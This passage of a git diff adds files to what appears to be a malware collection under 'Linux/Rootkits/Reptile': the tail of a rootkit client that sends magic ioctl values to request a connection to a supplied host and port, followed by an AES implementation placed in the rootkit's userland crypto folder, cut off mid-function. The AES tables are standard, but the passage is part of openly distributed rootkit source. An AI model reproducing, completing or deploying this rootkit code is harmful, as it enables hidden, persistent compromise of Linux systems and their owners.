fail; + + memcpy((void *)&addr.sin_addr, (void *)host->h_addr, + host->h_length); + + addr.sin_family = AF_INET; + addr.sin_port = htons(atoi(argv[3])); + + args.argv = &addr; + + if (ioctl(sockfd, AUTH, HTUA) == 0) { + if (ioctl(sockfd, AUTH, &args) == 0) { + if (ioctl(sockfd, AUTH, HTUA) == 0) { + printf("\e[01;32mSuccess!\e[00m\n"); + goto out; + } + } + } + } +*/ +fail: + printf("\e[01;31mFailed!\e[00m\n"); +out: + close(sockfd); + return 0; +} diff --git a/Linux/Rootkits/Reptile/userland/crypto/aes.c b/Linux/Rootkits/Reptile/userland/crypto/aes.c new file mode 100644 index 0000000..2cc673d --- /dev/null +++ b/Linux/Rootkits/Reptile/userland/crypto/aes.c @@ -0,0 +1,646 @@ +/* + * FIPS-197 compliant AES implementation, + * by Christophe Devine ; + * this program is licensed under the GPL. + */ + +#include "aes.h" + +/* forward S-box */ + +static uint32 FSb[256] = { + 0x63, 0x7C, 0x77, 0x7B, 0xF2, 0x6B, 0x6F, 0xC5, 0x30, 0x01, 0x67, 0x2B, + 0xFE, 0xD7, 0xAB, 0x76, 0xCA, 0x82, 0xC9, 0x7D, 0xFA, 0x59, 0x47, 0xF0, + 0xAD, 0xD4, 0xA2, 0xAF, 0x9C, 0xA4, 0x72, 0xC0, 0xB7, 0xFD, 0x93, 0x26, + 0x36, 0x3F, 0xF7, 0xCC, 0x34, 0xA5, 0xE5, 0xF1, 0x71, 0xD8, 0x31, 0x15, + 0x04, 0xC7, 0x23, 0xC3, 0x18, 0x96, 0x05, 0x9A, 0x07, 0x12, 0x80, 0xE2, + 0xEB, 0x27, 0xB2, 0x75, 0x09, 0x83, 0x2C, 0x1A, 0x1B, 0x6E, 0x5A, 0xA0, + 0x52, 0x3B, 0xD6, 0xB3, 0x29, 0xE3, 0x2F, 0x84, 0x53, 0xD1, 0x00, 0xED, + 0x20, 0xFC, 0xB1, 0x5B, 0x6A, 0xCB, 0xBE, 0x39, 0x4A, 0x4C, 0x58, 0xCF, + 0xD0, 0xEF, 0xAA, 0xFB, 0x43, 0x4D, 0x33, 0x85, 0x45, 0xF9, 0x02, 0x7F, + 0x50, 0x3C, 0x9F, 0xA8, 0x51, 0xA3, 0x40, 0x8F, 0x92, 0x9D, 0x38, 0xF5, + 0xBC, 0xB6, 0xDA, 0x21, 0x10, 0xFF, 0xF3, 0xD2, 0xCD, 0x0C, 0x13, 0xEC, + 0x5F, 0x97, 0x44, 0x17, 0xC4, 0xA7, 0x7E, 0x3D, 0x64, 0x5D, 0x19, 0x73, + 0x60, 0x81, 0x4F, 0xDC, 0x22, 0x2A, 0x90, 0x88, 0x46, 0xEE, 0xB8, 0x14, + 0xDE, 0x5E, 0x0B, 0xDB, 0xE0, 0x32, 0x3A, 0x0A, 0x49, 0x06, 0x24, 0x5C, + 0xC2, 0xD3, 0xAC, 0x62, 0x91, 0x95, 0xE4, 0x79, 0xE7, 0xC8, 0x37, 0x6D, + 0x8D, 0xD5, 0x4E, 0xA9, 0x6C, 0x56, 0xF4, 0xEA, 0x65, 0x7A, 0xAE, 0x08, + 0xBA, 0x78, 0x25, 0x2E, 0x1C, 0xA6, 0xB4, 0xC6, 0xE8, 0xDD, 0x74, 0x1F, + 0x4B, 0xBD, 0x8B, 0x8A, 0x70, 0x3E, 0xB5, 0x66, 0x48, 0x03, 0xF6, 0x0E, + 0x61, 0x35, 0x57, 0xB9, 0x86, 0xC1, 0x1D, 0x9E, 0xE1, 0xF8, 0x98, 0x11, + 0x69, 0xD9, 0x8E, 0x94, 0x9B, 0x1E, 0x87, 0xE9, 0xCE, 0x55, 0x28, 0xDF, + 0x8C, 0xA1, 0x89, 0x0D, 0xBF, 0xE6, 0x42, 0x68, 0x41, 0x99, 0x2D, 0x0F, + 0xB0, 0x54, 0xBB, 0x16}; + +/* forward table */ + +#define FT \ + \ + V(C6, 63, 63, A5), V(F8, 7C, 7C, 84), V(EE, 77, 77, 99), \ + V(F6, 7B, 7B, 8D), V(FF, F2, F2, 0D), V(D6, 6B, 6B, BD), \ + V(DE, 6F, 6F, B1), V(91, C5, C5, 54), V(60, 30, 30, 50), \ + V(02, 01, 01, 03), V(CE, 67, 67, A9), V(56, 2B, 2B, 7D), \ + V(E7, FE, FE, 19), V(B5, D7, D7, 62), V(4D, AB, AB, E6), \ + V(EC, 76, 76, 9A), V(8F, CA, CA, 45), V(1F, 82, 82, 9D), \ + V(89, C9, C9, 40), V(FA, 7D, 7D, 87), V(EF, FA, FA, 15), \ + V(B2, 59, 59, EB), V(8E, 47, 47, C9), V(FB, F0, F0, 0B), \ + V(41, AD, AD, EC), V(B3, D4, D4, 67), V(5F, A2, A2, FD), \ + V(45, AF, AF, EA), V(23, 9C, 9C, BF), V(53, A4, A4, F7), \ + V(E4, 72, 72, 96), V(9B, C0, C0, 5B), V(75, B7, B7, C2), \ + V(E1, FD, FD, 1C), V(3D, 93, 93, AE), V(4C, 26, 26, 6A), \ + V(6C, 36, 36, 5A), V(7E, 3F, 3F, 41), V(F5, F7, F7, 02), \ + V(83, CC, CC, 4F), V(68, 34, 34, 5C), V(51, A5, A5, F4), \ + V(D1, E5, E5, 34), V(F9, F1, F1, 08), V(E2, 71, 71, 93), \ + V(AB, D8, D8, 73), V(62, 31, 31, 53), V(2A, 15, 15, 3F), \ + V(08, 04, 04, 0C), V(95, C7, C7, 52), V(46, 23, 23, 65), \ + V(9D, C3, C3, 5E), V(30, 18, 18, 28), V(37, 96, 96, A1), \ + V(0A, 05, 05, 0F), V(2F, 9A, 9A, B5), V(0E, 07, 07, 09), \ + V(24, 12, 12, 36), V(1B, 80, 80, 9B), V(DF, E2, E2, 3D), \ + V(CD, EB, EB, 26), V(4E, 27, 27, 69), V(7F, B2, B2, CD), \ + V(EA, 75, 75, 9F), V(12, 09, 09, 1B), V(1D, 83, 83, 9E), \ + V(58, 2C, 2C, 74), V(34, 1A, 1A, 2E), V(36, 1B, 1B, 2D), \ + V(DC, 6E, 6E, B2), V(B4, 5A, 5A, EE), V(5B, A0, A0, FB), \ + V(A4, 52, 52, F6), V(76, 3B, 3B, 4D), V(B7, D6, D6, 61), \ + V(7D, B3, B3, CE), V(52, 29, 29, 7B), V(DD, E3, E3, 3E), \ + V(5E, 2F, 2F, 71), V(13, 84, 84, 97), V(A6, 53, 53, F5), \ + V(B9, D1, D1, 68), V(00, 00, 00, 00), V(C1, ED, ED, 2C), \ + V(40, 20, 20, 60), V(E3, FC, FC, 1F), V(79, B1, B1, C8), \ + V(B6, 5B, 5B, ED), V(D4, 6A, 6A, BE), V(8D, CB, CB, 46), \ + V(67, BE, BE, D9), V(72, 39, 39, 4B), V(94, 4A, 4A, DE), \ + V(98, 4C, 4C, D4), V(B0, 58, 58, E8), V(85, CF, CF, 4A), \ + V(BB, D0, D0, 6B), V(C5, EF, EF, 2A), V(4F, AA, AA, E5), \ + V(ED, FB, FB, 16), V(86, 43, 43, C5), V(9A, 4D, 4D, D7), \ + V(66, 33, 33, 55), V(11, 85, 85, 94), V(8A, 45, 45, CF), \ + V(E9, F9, F9, 10), V(04, 02, 02, 06), V(FE, 7F, 7F, 81), \ + V(A0, 50, 50, F0), V(78, 3C, 3C, 44), V(25, 9F, 9F, BA), \ + V(4B, A8, A8, E3), V(A2, 51, 51, F3), V(5D, A3, A3, FE), \ + V(80, 40, 40, C0), V(05, 8F, 8F, 8A), V(3F, 92, 92, AD), \ + V(21, 9D, 9D, BC), V(70, 38, 38, 48), V(F1, F5, F5, 04), \ + V(63, BC, BC, DF), V(77, B6, B6, C1), V(AF, DA, DA, 75), \ + V(42, 21, 21, 63), V(20, 10, 10, 30), V(E5, FF, FF, 1A), \ + V(FD, F3, F3, 0E), V(BF, D2, D2, 6D), V(81, CD, CD, 4C), \ + V(18, 0C, 0C, 14), V(26, 13, 13, 35), V(C3, EC, EC, 2F), \ + V(BE, 5F, 5F, E1), V(35, 97, 97, A2), V(88, 44, 44, CC), \ + V(2E, 17, 17, 39), V(93, C4, C4, 57), V(55, A7, A7, F2), \ + V(FC, 7E, 7E, 82), V(7A, 3D, 3D, 47), V(C8, 64, 64, AC), \ + V(BA, 5D, 5D, E7), V(32, 19, 19, 2B), V(E6, 73, 73, 95), \ + V(C0, 60, 60, A0), V(19, 81, 81, 98), V(9E, 4F, 4F, D1), \ + V(A3, DC, DC, 7F), V(44, 22, 22, 66), V(54, 2A, 2A, 7E), \ + V(3B, 90, 90, AB), V(0B, 88, 88, 83), V(8C, 46, 46, CA), \ + V(C7, EE, EE, 29), V(6B, B8, B8, D3), V(28, 14, 14, 3C), \ + V(A7, DE, DE, 79), V(BC, 5E, 5E, E2), V(16, 0B, 0B, 1D), \ + V(AD, DB, DB, 76), V(DB, E0, E0, 3B), V(64, 32, 32, 56), \ + V(74, 3A, 3A, 4E), V(14, 0A, 0A, 1E), V(92, 49, 49, DB), \ + V(0C, 06, 06, 0A), V(48, 24, 24, 6C), V(B8, 5C, 5C, E4), \ + V(9F, C2, C2, 5D), V(BD, D3, D3, 6E), V(43, AC, AC, EF), \ + V(C4, 62, 62, A6), V(39, 91, 91, A8), V(31, 95, 95, A4), \ + V(D3, E4, E4, 37), V(F2, 79, 79, 8B), V(D5, E7, E7, 32), \ + V(8B, C8, C8, 43), V(6E, 37, 37, 59), V(DA, 6D, 6D, B7), \ + V(01, 8D, 8D, 8C), V(B1, D5, D5, 64), V(9C, 4E, 4E, D2), \ + V(49, A9, A9, E0), V(D8, 6C, 6C, B4), V(AC, 56, 56, FA), \ + V(F3, F4, F4, 07), V(CF, EA, EA, 25), V(CA, 65, 65, AF), \ + V(F4, 7A, 7A, 8E), V(47, AE, AE, E9), V(10, 08, 08, 18), \ + V(6F, BA, BA, D5), V(F0, 78, 78, 88), V(4A, 25, 25, 6F), \ + V(5C, 2E, 2E, 72), V(38, 1C, 1C, 24), V(57, A6, A6, F1), \ + V(73, B4, B4, C7), V(97, C6, C6, 51), V(CB, E8, E8, 23), \ + V(A1, DD, DD, 7C), V(E8, 74, 74, 9C), V(3E, 1F, 1F, 21), \ + V(96, 4B, 4B, DD), V(61, BD, BD, DC), V(0D, 8B, 8B, 86), \ + V(0F, 8A, 8A, 85), V(E0, 70, 70, 90), V(7C, 3E, 3E, 42), \ + V(71, B5, B5, C4), V(CC, 66, 66, AA), V(90, 48, 48, D8), \ + V(06, 03, 03, 05), V(F7, F6, F6, 01), V(1C, 0E, 0E, 12), \ + V(C2, 61, 61, A3), V(6A, 35, 35, 5F), V(AE, 57, 57, F9), \ + V(69, B9, B9, D0), V(17, 86, 86, 91), V(99, C1, C1, 58), \ + V(3A, 1D, 1D, 27), V(27, 9E, 9E, B9), V(D9, E1, E1, 38), \ + V(EB, F8, F8, 13), V(2B, 98, 98, B3), V(22, 11, 11, 33), \ + V(D2, 69, 69, BB), V(A9, D9, D9, 70), V(07, 8E, 8E, 89), \ + V(33, 94, 94, A7), V(2D, 9B, 9B, B6), V(3C, 1E, 1E, 22), \ + V(15, 87, 87, 92), V(C9, E9, E9, 20), V(87, CE, CE, 49), \ + V(AA, 55, 55, FF), V(50, 28, 28, 78), V(A5, DF, DF, 7A), \ + V(03, 8C, 8C, 8F), V(59, A1, A1, F8), V(09, 89, 89, 80), \ + V(1A, 0D, 0D, 17), V(65, BF, BF, DA), V(D7, E6, E6, 31), \ + V(84, 42, 42, C6), V(D0, 68, 68, B8), V(82, 41, 41, C3), \ + V(29, 99, 99, B0), V(5A, 2D, 2D, 77), V(1E, 0F, 0F, 11), \ + V(7B, B0, B0, CB), V(A8, 54, 54, FC), V(6D, BB, BB, D6), \ + V(2C, 16, 16, 3A) + +#define V(a, b, c, d) 0x##a##b##c##d +static uint32 FT0[256] = {FT}; +#undef V + +#define V(a, b, c, d) 0x##d##a##b##c +static uint32 FT1[256] = {FT}; +#undef V + +#define V(a, b, c, d) 0x##c##d##a##b +static uint32 FT2[256] = {FT}; +#undef V + +#define V(a, b, c, d) 0x##b##c##d##a +static uint32 FT3[256] = {FT}; +#undef V + +/* reverse S-box */ + +static uint32 RSb[256] = { + 0x52, 0x09, 0x6A, 0xD5, 0x30, 0x36, 0xA5, 0x38, 0xBF, 0x40, 0xA3, 0x9E, + 0x81, 0xF3, 0xD7, 0xFB, 0x7C, 0xE3, 0x39, 0x82, 0x9B, 0x2F, 0xFF, 0x87, + 0x34, 0x8E, 0x43, 0x44, 0xC4, 0xDE, 0xE9, 0xCB, 0x54, 0x7B, 0x94, 0x32, + 0xA6, 0xC2, 0x23, 0x3D, 0xEE, 0x4C, 0x95, 0x0B, 0x42, 0xFA, 0xC3, 0x4E, + 0x08, 0x2E, 0xA1, 0x66, 0x28, 0xD9, 0x24, 0xB2, 0x76, 0x5B, 0xA2, 0x49, + 0x6D, 0x8B, 0xD1, 0x25, 0x72, 0xF8, 0xF6, 0x64, 0x86, 0x68, 0x98, 0x16, + 0xD4, 0xA4, 0x5C, 0xCC, 0x5D, 0x65, 0xB6, 0x92, 0x6C, 0x70, 0x48, 0x50, + 0xFD, 0xED, 0xB9, 0xDA, 0x5E, 0x15, 0x46, 0x57, 0xA7, 0x8D, 0x9D, 0x84, + 0x90, 0xD8, 0xAB, 0x00, 0x8C, 0xBC, 0xD3, 0x0A, 0xF7, 0xE4, 0x58, 0x05, + 0xB8, 0xB3, 0x45, 0x06, 0xD0, 0x2C, 0x1E, 0x8F, 0xCA, 0x3F, 0x0F, 0x02, + 0xC1, 0xAF, 0xBD, 0x03, 0x01, 0x13, 0x8A, 0x6B, 0x3A, 0x91, 0x11, 0x41, + 0x4F, 0x67, 0xDC, 0xEA, 0x97, 0xF2, 0xCF, 0xCE, 0xF0, 0xB4, 0xE6, 0x73, + 0x96, 0xAC, 0x74, 0x22, 0xE7, 0xAD, 0x35, 0x85, 0xE2, 0xF9, 0x37, 0xE8, + 0x1C, 0x75, 0xDF, 0x6E, 0x47, 0xF1, 0x1A, 0x71, 0x1D, 0x29, 0xC5, 0x89, + 0x6F, 0xB7, 0x62, 0x0E, 0xAA, 0x18, 0xBE, 0x1B, 0xFC, 0x56, 0x3E, 0x4B, + 0xC6, 0xD2, 0x79, 0x20, 0x9A, 0xDB, 0xC0, 0xFE, 0x78, 0xCD, 0x5A, 0xF4, + 0x1F, 0xDD, 0xA8, 0x33, 0x88, 0x07, 0xC7, 0x31, 0xB1, 0x12, 0x10, 0x59, + 0x27, 0x80, 0xEC, 0x5F, 0x60, 0x51, 0x7F, 0xA9, 0x19, 0xB5, 0x4A, 0x0D, + 0x2D, 0xE5, 0x7A, 0x9F, 0x93, 0xC9, 0x9C, 0xEF, 0xA0, 0xE0, 0x3B, 0x4D, + 0xAE, 0x2A, 0xF5, 0xB0, 0xC8, 0xEB, 0xBB, 0x3C, 0x83, 0x53, 0x99, 0x61, + 0x17, 0x2B, 0x04, 0x7E, 0xBA, 0x77, 0xD6, 0x26, 0xE1, 0x69, 0x14, 0x63, + 0x55, 0x21, 0x0C, 0x7D}; + +/* reverse table */ + +#define RT \ + \ + V(51, F4, A7, 50), V(7E, 41, 65, 53), V(1A, 17, A4, C3), \ + V(3A, 27, 5E, 96), V(3B, AB, 6B, CB), V(1F, 9D, 45, F1), \ + V(AC, FA, 58, AB), V(4B, E3, 03, 93), V(20, 30, FA, 55), \ + V(AD, 76, 6D, F6), V(88, CC, 76, 91), V(F5, 02, 4C, 25), \ + V(4F, E5, D7, FC), V(C5, 2A, CB, D7), V(26, 35, 44, 80), \ + V(B5, 62, A3, 8F), V(DE, B1, 5A, 49), V(25, BA, 1B, 67), \ + V(45, EA, 0E, 98), V(5D, FE, C0, E1), V(C3, 2F, 75, 02), \ + V(81, 4C, F0, 12), V(8D, 46, 97, A3), V(6B, D3, F9, C6), \ + V(03, 8F, 5F, E7), V(15, 92, 9C, 95), V(BF, 6D, 7A, EB), \ + V(95, 52, 59, DA), V(D4, BE, 83, 2D), V(58, 74, 21, D3), \ + V(49, E0, 69, 29), V(8E, C9, C8, 44), V(75, C2, 89, 6A), \ + V(F4, 8E, 79, 78), V(99, 58, 3E, 6B), V(27, B9, 71, DD), \ + V(BE, E1, 4F, B6), V(F0, 88, AD, 17), V(C9, 20, AC, 66), \ + V(7D, CE, 3A, B4), V(63, DF, 4A, 18), V(E5, 1A, 31, 82), \ + V(97, 51, 33, 60), V(62, 53, 7F, 45), V(B1, 64, 77, E0), \ + V(BB, 6B, AE, 84), V(FE, 81, A0, 1C), V(F9, 08, 2B, 94), \ + V(70, 48, 68, 58), V(8F, 45, FD, 19), V(94, DE, 6C, 87), \ + V(52, 7B, F8, B7), V(AB, 73, D3, 23), V(72, 4B, 02, E2), \ + V(E3, 1F, 8F, 57), V(66, 55, AB, 2A), V(B2, EB, 28, 07), \ + V(2F, B5, C2, 03), V(86, C5, 7B, 9A), V(D3, 37, 08, A5), \ + V(30, 28, 87, F2), V(23, BF, A5, B2), V(02, 03, 6A, BA), \ + V(ED, 16, 82, 5C), V(8A, CF, 1C, 2B), V(A7, 79, B4, 92), \ + V(F3, 07, F2, F0), V(4E, 69, E2, A1), V(65, DA, F4, CD), \ + V(06, 05, BE, D5), V(D1, 34, 62, 1F), V(C4, A6, FE, 8A), \ + V(34, 2E, 53, 9D), V(A2, F3, 55, A0), V(05, 8A, E1, 32), \ + V(A4, F6, EB, 75), V(0B, 83, EC, 39), V(40, 60, EF, AA), \ + V(5E, 71, 9F, 06), V(BD, 6E, 10, 51), V(3E, 21, 8A, F9), \ + V(96, DD, 06, 3D), V(DD, 3E, 05, AE), V(4D, E6, BD, 46), \ + V(91, 54, 8D, B5), V(71, C4, 5D, 05), V(04, 06, D4, 6F), \ + V(60, 50, 15, FF), V(19, 98, FB, 24), V(D6, BD, E9, 97), \ + V(89, 40, 43, CC), V(67, D9, 9E, 77), V(B0, E8, 42, BD), \ + V(07, 89, 8B, 88), V(E7, 19, 5B, 38), V(79, C8, EE, DB), \ + V(A1, 7C, 0A, 47), V(7C, 42, 0F, E9), V(F8, 84, 1E, C9), \ + V(00, 00, 00, 00), V(09, 80, 86, 83), V(32, 2B, ED, 48), \ + V(1E, 11, 70, AC), V(6C, 5A, 72, 4E), V(FD, 0E, FF, FB), \ + V(0F, 85, 38, 56), V(3D, AE, D5, 1E), V(36, 2D, 39, 27), \ + V(0A, 0F, D9, 64), V(68, 5C, A6, 21), V(9B, 5B, 54, D1), \ + V(24, 36, 2E, 3A), V(0C, 0A, 67, B1), V(93, 57, E7, 0F), \ + V(B4, EE, 96, D2), V(1B, 9B, 91, 9E), V(80, C0, C5, 4F), \ + V(61, DC, 20, A2), V(5A, 77, 4B, 69), V(1C, 12, 1A, 16), \ + V(E2, 93, BA, 0A), V(C0, A0, 2A, E5), V(3C, 22, E0, 43), \ + V(12, 1B, 17, 1D), V(0E, 09, 0D, 0B), V(F2, 8B, C7, AD), \ + V(2D, B6, A8, B9), V(14, 1E, A9, C8), V(57, F1, 19, 85), \ + V(AF, 75, 07, 4C), V(EE, 99, DD, BB), V(A3, 7F, 60, FD), \ + V(F7, 01, 26, 9F), V(5C, 72, F5, BC), V(44, 66, 3B, C5), \ + V(5B, FB, 7E, 34), V(8B, 43, 29, 76), V(CB, 23, C6, DC), \ + V(B6, ED, FC, 68), V(B8, E4, F1, 63), V(D7, 31, DC, CA), \ + V(42, 63, 85, 10), V(13, 97, 22, 40), V(84, C6, 11, 20), \ + V(85, 4A, 24, 7D), V(D2, BB, 3D, F8), V(AE, F9, 32, 11), \ + V(C7, 29, A1, 6D), V(1D, 9E, 2F, 4B), V(DC, B2, 30, F3), \ + V(0D, 86, 52, EC), V(77, C1, E3, D0), V(2B, B3, 16, 6C), \ + V(A9, 70, B9, 99), V(11, 94, 48, FA), V(47, E9, 64, 22), \ + V(A8, FC, 8C, C4), V(A0, F0, 3F, 1A), V(56, 7D, 2C, D8), \ + V(22, 33, 90, EF), V(87, 49, 4E, C7), V(D9, 38, D1, C1), \ + V(8C, CA, A2, FE), V(98, D4, 0B, 36), V(A6, F5, 81, CF), \ + V(A5, 7A, DE, 28), V(DA, B7, 8E, 26), V(3F, AD, BF, A4), \ + V(2C, 3A, 9D, E4), V(50, 78, 92, 0D), V(6A, 5F, CC, 9B), \ + V(54, 7E, 46, 62), V(F6, 8D, 13, C2), V(90, D8, B8, E8), \ + V(2E, 39, F7, 5E), V(82, C3, AF, F5), V(9F, 5D, 80, BE), \ + V(69, D0, 93, 7C), V(6F, D5, 2D, A9), V(CF, 25, 12, B3), \ + V(C8, AC, 99, 3B), V(10, 18, 7D, A7), V(E8, 9C, 63, 6E), \ + V(DB, 3B, BB, 7B), V(CD, 26, 78, 09), V(6E, 59, 18, F4), \ + V(EC, 9A, B7, 01), V(83, 4F, 9A, A8), V(E6, 95, 6E, 65), \ + V(AA, FF, E6, 7E), V(21, BC, CF, 08), V(EF, 15, E8, E6), \ + V(BA, E7, 9B, D9), V(4A, 6F, 36, CE), V(EA, 9F, 09, D4), \ + V(29, B0, 7C, D6), V(31, A4, B2, AF), V(2A, 3F, 23, 31), \ + V(C6, A5, 94, 30), V(35, A2, 66, C0), V(74, 4E, BC, 37), \ + V(FC, 82, CA, A6), V(E0, 90, D0, B0), V(33, A7, D8, 15), \ + V(F1, 04, 98, 4A), V(41, EC, DA, F7), V(7F, CD, 50, 0E), \ + V(17, 91, F6, 2F), V(76, 4D, D6, 8D), V(43, EF, B0, 4D), \ + V(CC, AA, 4D, 54), V(E4, 96, 04, DF), V(9E, D1, B5, E3), \ + V(4C, 6A, 88, 1B), V(C1, 2C, 1F, B8), V(46, 65, 51, 7F), \ + V(9D, 5E, EA, 04), V(01, 8C, 35, 5D), V(FA, 87, 74, 73), \ + V(FB, 0B, 41, 2E), V(B3, 67, 1D, 5A), V(92, DB, D2, 52), \ + V(E9, 10, 56, 33), V(6D, D6, 47, 13), V(9A, D7, 61, 8C), \ + V(37, A1, 0C, 7A), V(59, F8, 14, 8E), V(EB, 13, 3C, 89), \ + V(CE, A9, 27, EE), V(B7, 61, C9, 35), V(E1, 1C, E5, ED), \ + V(7A, 47, B1, 3C), V(9C, D2, DF, 59), V(55, F2, 73, 3F), \ + V(18, 14, CE, 79), V(73, C7, 37, BF), V(53, F7, CD, EA), \ + V(5F, FD, AA, 5B), V(DF, 3D, 6F, 14), V(78, 44, DB, 86), \ + V(CA, AF, F3, 81), V(B9, 68, C4, 3E), V(38, 24, 34, 2C), \ + V(C2, A3, 40, 5F), V(16, 1D, C3, 72), V(BC, E2, 25, 0C), \ + V(28, 3C, 49, 8B), V(FF, 0D, 95, 41), V(39, A8, 01, 71), \ + V(08, 0C, B3, DE), V(D8, B4, E4, 9C), V(64, 56, C1, 90), \ + V(7B, CB, 84, 61), V(D5, 32, B6, 70), V(48, 6C, 5C, 74), \ + V(D0, B8, 57, 42) + +#define V(a, b, c, d) 0x##a##b##c##d +static uint32 RT0[256] = {RT}; +#undef V + +#define V(a, b, c, d) 0x##d##a##b##c +static uint32 RT1[256] = {RT}; +#undef V + +#define V(a, b, c, d) 0x##c##d##a##b +static uint32 RT2[256] = {RT}; +#undef V + +#define V(a, b, c, d) 0x##b##c##d##a +static uint32 RT3[256] = {RT}; +#undef V + +/* round constants */ + +static uint32 RCON[10] = {0x01000000, 0x02000000, 0x04000000, 0x08000000, + 0x10000000, 0x20000000, 0x40000000, 0x80000000, + 0x1B000000, 0x36000000}; + +/* platform-independant 32-bit integer manipulation macros */ + +#define GET_UINT32(n, b, i) \ + { \ + (n) = ((uint32)(b)[(i)] << 24) | \ + ((uint32)(b)[(i) + 1] << 16) | \ + ((uint32)(b)[(i) + 2] << 8) | ((uint32)(b)[(i) + 3]); \ + } + +#define PUT_UINT32(n, b, i) \ + { \ + (b)[(i)] = (uint8)((n) >> 24); \ + (b)[(i) + 1] = (uint8)((n) >> 16); \ + (b)[(i) + 2] = (uint8)((n) >> 8); \ + (b)[(i) + 3] = (uint8)((n)); \ + } + +/* key scheduling routine */ + +int aes_set_key(struct aes_context *ctx, uint8 *key, int nbits) +{ + int i; + uint32 *RK; + + switch (nbits) { + case 128: + ctx->nr = 10; + break; + case 192: + ctx->nr = 12; + break; + case 256: + ctx->nr = 14; + break; + default: + return (1); + } + + RK = ctx->erk; + + for (i = 0; i < (nbits >> 5); i++) { + GET_UINT32(RK[i], key, i * 4); + } + + /* setup encryption round keys */ + + switch (nbits) { + case 128: + + for (i = 0; i < 10; i++, RK += 4) { + RK[4] = RK[0] ^ RCON[i] ^ + (FSb[(uint8)(RK[3] >> 16)] << 24) ^ + (FSb[(uint8)(RK[3] >> 8)] << 16) ^ + (FSb[(uint8)(RK[3])] << 8) ^ + (FSb[(uint8)(RK[3] >> 24)]); + + RK[5] = RK[1] ^ RK[4]; + RK[6] = RK[2] ^ RK[5]; + RK[7] = RK[3] ^ RK[6]; + } + break; + + case 192: + + for (i = 0; i < 8; i++, RK += 6) { + RK[6] = RK[0] ^ RCON[i] ^ + (FSb[(uint8)(RK[5] >> 16)] << 24) ^ + (FSb[(uint8)(RK[5] >> 8)] << 16) ^ + (FSb[(uint8)(RK[5])] << 8) ^ + (FSb[(uint8)(RK[5] >> 24)]); + + RK[7] = RK[1] ^ RK[6]; + RK[8] = RK[2] ^ RK[7]; + RK[9] = RK[3] ^ RK[8]; + RK[10] = RK[4] ^ RK[9]; + RK[11] = RK[5] ^ RK[10]; + } + break; + + case 256: + + for (i = 0; i < 7; i++, RK += 8) { + RK[8] = RK[0] ^ RCON[i] ^ + (FSb[(uint8)(RK[7] >> 16)] << 24) ^ + (FSb[(uint8)(RK[7] >> 8)] << 16) ^ + (FSb[(uint8)(RK[7])] << 8) ^ + (FSb[(uint8)(RK[7] >> 24)]); + + RK[9] = RK[1] ^ RK[8]; + RK[10] = RK[2] ^ RK[9]; + RK[11] = RK[3] ^ RK[10]; + + RK[12] = RK[4] ^ (FSb[(uint8)(RK[11] >> 24)] << 24) ^ + (FSb[(uint8)(RK[11] >> 16)] << 16) ^ + (FSb[(uint8)(RK[11] >> 8)] << 8) ^ + (FSb[(uint8)(RK[11])]); + + RK[13] = RK[5] ^ RK[12]; + RK[14] = RK[6] ^ RK[13]; + RK[15] = RK[7] ^ RK[14]; + } + break; + } + + /* setup decryption round keys */ + + for (i = 0; i <= ctx->nr; i++) { + ctx->drk[i * 4] = ctx->erk[(ctx->nr - i) * 4]; + ctx->drk[i * 4 + 1] = ctx->erk[(ctx->nr - i) * 4 + 1]; + ctx->drk[i * 4 + 2] = ctx->erk[(ctx->nr - i) * 4 + 2]; + ctx->drk[i * 4 + 3] = ctx->erk[(ctx->nr - i) * 4 + 3]; + } + + for (i = 1, RK = ctx->drk + 4; i < ctx->nr; i++, RK += 4) { + RK[0] = RT0[FSb[(uint8)(RK[0] >> 24)]] ^ + RT1[FSb[(uint8)(RK[0] >> 16)]] ^ + RT2[FSb[(uint8)(RK[0] >> 8)]] ^ + RT3[FSb[(uint8)(RK[0])]]; + + RK[1] = RT0[FSb[(uint8)(RK[1] >> 24)]] ^ + RT1[FSb[(uint8)(RK[1] >> 16)]] ^ + RT2[FSb[(uint8)(RK[1] >> 8)]] ^ + RT3[FSb[(uint8)(RK[1])]]; + + RK[2] = RT0[FSb[(uint8)(RK[2] >> 24)]] ^ + RT1[FSb[(uint8)(RK[2] >> 16)]] ^ + RT2[FSb[(uint8)(RK[2] >> 8)]] ^ + RT3[FSb[(uint8)(RK[2])]]; + + RK[3] = RT0[FSb[(uint8)(RK[3] >> 24)]] ^ + RT1[FSb[(uint8)(RK[3] >> 16)]] ^ + RT2[FSb[(uint8)(RK[3] >> 8)]] ^ + RT3[FSb[(uint8)(RK[3])]]; + } + + return (0); +} + +/* 128-bit block encryption routine */ + +void aes_encrypt(struct aes_context *ctx, uint8 data[16]) +{ + uint32 *RK, X0, X1, X2, X3, Y0, Y1, Y2, Y3; + + RK = ctx->erk; + + GET_UINT32(X0, data, 0); + X0 ^= RK[0]; + GET_UINT32(X1, data, 4); + X1 ^= RK[1]; + GET_UINT32(X2, data, 8); + X2 ^= RK[2]; + GET_UINT32(X3, data, 12); + X3 ^= RK[3]; + +#define FROUND(X0, X1, X2, X3, Y0, Y1, Y2, Y3) \ + { \ + RK += 4; \ + \ + X0 = RK[0] ^ FT0[(uint8)(Y0 >> 24)] ^ FT1[(uint8)(Y1 >> 16)] ^ \ + FT2[(uint8)(Y2 >> 8)] ^ FT3[(uint8)(Y3)]; \ + \ + X1 = RK[1] ^ FT0[(uint8)(Y1 >> 24)] ^ FT1[(uint8)(Y2 >> 16)] ^ \ + FT2[(uint8)(Y3 >> 8)] ^ FT3[(uint8)(Y0)]; \ + \ + X2 = RK[2] ^ FT0[(uint8)(Y2 >> 24)] ^ FT1[(uint8)(Y3 >> 16)] ^ \ + FT2[(uint8)(Y0 >> 8)] ^ FT3[(uint8)(Y1)]; \ + \ + X3 = RK[3] ^ FT0[(uint8)(Y3 >> 24)] ^ FT1[(uint8)(Y0 >> 16)] ^ \ + FT2[(uint8)(Y1 >> 8)] ^ FT3[(uint8)(Y2)]; \ + } + + FROUND(Y0, Y1, Y2, Y3, X0, X1, X2, X3); /* round 1 */ + FROUND(X0, X1, X2, X3, Y0, Y1, Y2, Y3); /* round 2 */ + FROUND(Y0, Y1, Y2, Y3, X0, X1, X2, X3); /* round 3 */ + FROUND(X0, X1, X2, X3, Y0, Y1, Y2, Y3); /* round 4 */ + FROUND(Y0, Y1, Y2, Y3, X0, X1, X2, X3); /* round 5 */ + FROUND(X0, X1, X2, X3, Y0, Y1, Y2, Y3); /* round 6 */ + FROUND(Y0, Y1, Y2, Y3, X0, X1, X2, X3); /* round 7 */ + FROUND(X0, X1, X2, X3, Y0, Y1, Y2, Y3); /* round 8 */ + FROUND(Y0, Y1, 